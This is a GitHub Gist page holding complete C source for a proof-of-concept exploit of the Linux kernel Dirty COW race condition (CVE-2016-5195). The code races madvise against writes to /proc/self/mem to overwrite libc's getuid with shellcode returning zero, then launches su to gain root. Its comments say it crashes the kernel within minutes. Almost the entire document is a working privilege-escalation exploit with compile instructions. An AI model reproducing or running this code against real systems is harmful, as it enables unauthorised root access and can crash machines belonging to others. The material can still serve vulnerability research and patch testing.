-
-
Save solebox/e07687f518707ea57a278234f9d1f52c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* CVE-2016-5195 dirtypoc | |
* | |
* This PoC is memory only and doesn't write anything on the filesystem. | |
* /!\ Beware, it triggers a kernel crash a few minutes. | |
* | |
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread | |
*/ | |
#define _GNU_SOURCE | |
#include <err.h> | |
#include <dlfcn.h> | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <limits.h> | |
#include <pthread.h> | |
#include <stdbool.h> | |
#include <sys/mman.h> | |
#include <sys/stat.h> | |
#include <sys/user.h> | |
#include <sys/wait.h> | |
#include <sys/types.h> | |
#define SHELLCODE "\x31\xc0\xc3" | |
#define SPACE_SIZE 256 | |
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" | |
#define LOOP 0x1000000 | |
#ifndef PAGE_SIZE | |
#define PAGE_SIZE 4096 | |
#endif | |
struct mem_arg { | |
struct stat st; | |
off_t offset; | |
unsigned long patch_addr; | |
unsigned char *patch; | |
unsigned char *unpatch; | |
size_t patch_size; | |
bool do_patch; | |
void *map; | |
}; | |
static int check(bool do_patch, const char *thread_name) | |
{ | |
uid_t uid; | |
uid = getuid(); | |
if (do_patch) { | |
if (uid == 0) { | |
printf("[*] patched (%s)\n", thread_name); | |
return 1; | |
} | |
} else { | |
if (uid != 0) { | |
printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name); | |
return 1; | |
} | |
} | |
return 0; | |
} | |
static void *madviseThread(void *arg) | |
{ | |
struct mem_arg *mem_arg; | |
size_t size; | |
void *addr; | |
int i, c = 0; | |
mem_arg = (struct mem_arg *)arg; | |
addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1))); | |
size = mem_arg->offset - (unsigned long)addr; | |
for(i = 0; i < LOOP; i++) { | |
c += madvise(addr, size, MADV_DONTNEED); | |
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__)) | |
break; | |
} | |
if (c == 0x1337) | |
printf("[*] madvise = %d\n", c); | |
return NULL; | |
} | |
static void *procselfmemThread(void *arg) | |
{ | |
struct mem_arg *mem_arg; | |
int fd, i, c = 0; | |
unsigned char *p; | |
mem_arg = (struct mem_arg *)arg; | |
p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch; | |
fd = open("/proc/self/mem", O_RDWR); | |
if (fd == -1) | |
err(1, "open(\"/proc/self/mem\""); | |
for (i = 0; i < LOOP; i++) { | |
lseek(fd, mem_arg->offset, SEEK_SET); | |
c += write(fd, p, mem_arg->patch_size); | |
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__)) | |
break; | |
} | |
if (c == 0x1337) | |
printf("[*] /proc/self/mem %d\n", c); | |
close(fd); | |
return NULL; | |
} | |
static int get_range(unsigned long *start, unsigned long *end) | |
{ | |
char line[4096]; | |
char filename[PATH_MAX]; | |
char flags[32]; | |
FILE *fp; | |
int ret; | |
ret = -1; | |
fp = fopen("/proc/self/maps", "r"); | |
if (fp == NULL) | |
err(1, "fopen(\"/proc/self/maps\")"); | |
while (fgets(line, sizeof(line), fp) != NULL) { | |
sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename); | |
if (strstr(flags, "r-xp") == NULL) | |
continue; | |
if (strstr(filename, "/libc-") == NULL) | |
continue; | |
//printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename); | |
ret = 0; | |
break; | |
} | |
fclose(fp); | |
return ret; | |
} | |
static void getroot(void) | |
{ | |
execlp("su", "su", NULL); | |
err(1, "failed to execute \"su\""); | |
} | |
static void exploit(struct mem_arg *mem_arg, bool do_patch) | |
{ | |
pthread_t pth1, pth2; | |
printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch"); | |
mem_arg->do_patch = do_patch; | |
pthread_create(&pth1, NULL, madviseThread, mem_arg); | |
pthread_create(&pth2, NULL, procselfmemThread, mem_arg); | |
pthread_join(pth1, NULL); | |
pthread_join(pth2, NULL); | |
} | |
static unsigned long get_getuid_addr(void) | |
{ | |
unsigned long addr; | |
void *handle; | |
char *error; | |
dlerror(); | |
handle = dlopen("libc.so.6", RTLD_LAZY); | |
if (handle == NULL) { | |
fprintf(stderr, "%s\n", dlerror()); | |
exit(EXIT_FAILURE); | |
} | |
addr = (unsigned long)dlsym(handle, "getuid"); | |
error = dlerror(); | |
if (error != NULL) { | |
fprintf(stderr, "%s\n", error); | |
exit(EXIT_FAILURE); | |
} | |
dlclose(handle); | |
return addr; | |
} | |
int main(int argc, char *argv[]) | |
{ | |
unsigned long start, end; | |
unsigned long getuid_addr; | |
struct mem_arg mem_arg; | |
struct stat st; | |
pid_t pid; | |
int fd; | |
if (get_range(&start, &end) != 0) | |
errx(1, "failed to get range"); | |
printf("[*] range: %lx-%lx]\n", start, end); | |
getuid_addr = get_getuid_addr(); | |
printf("[*] getuid = %lx\n", getuid_addr); | |
mem_arg.patch = malloc(sizeof(SHELLCODE)-1); | |
if (mem_arg.patch == NULL) | |
err(1, "malloc"); | |
mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1); | |
if (mem_arg.unpatch == NULL) | |
err(1, "malloc"); | |
memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1); | |
memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1); | |
mem_arg.patch_size = sizeof(SHELLCODE)-1; | |
mem_arg.do_patch = true; | |
fd = open(LIBC_PATH, O_RDONLY); | |
if (fd == -1) | |
err(1, "open(\"" LIBC_PATH "\")"); | |
if (fstat(fd, &st) == -1) | |
err(1, "fstat"); | |
mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); | |
if (mem_arg.map == MAP_FAILED) | |
err(1, "mmap"); | |
close(fd); | |
printf("[*] mmap %p\n", mem_arg.map); | |
mem_arg.st = st; | |
mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start); | |
exploit(&mem_arg, true); | |
pid = fork(); | |
if (pid == -1) | |
err(1, "fork"); | |
if (pid == 0) { | |
getroot(); | |
} else { | |
sleep(2); | |
exploit(&mem_arg, false); | |
if (waitpid(pid, NULL, 0) == -1) | |
warn("waitpid"); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment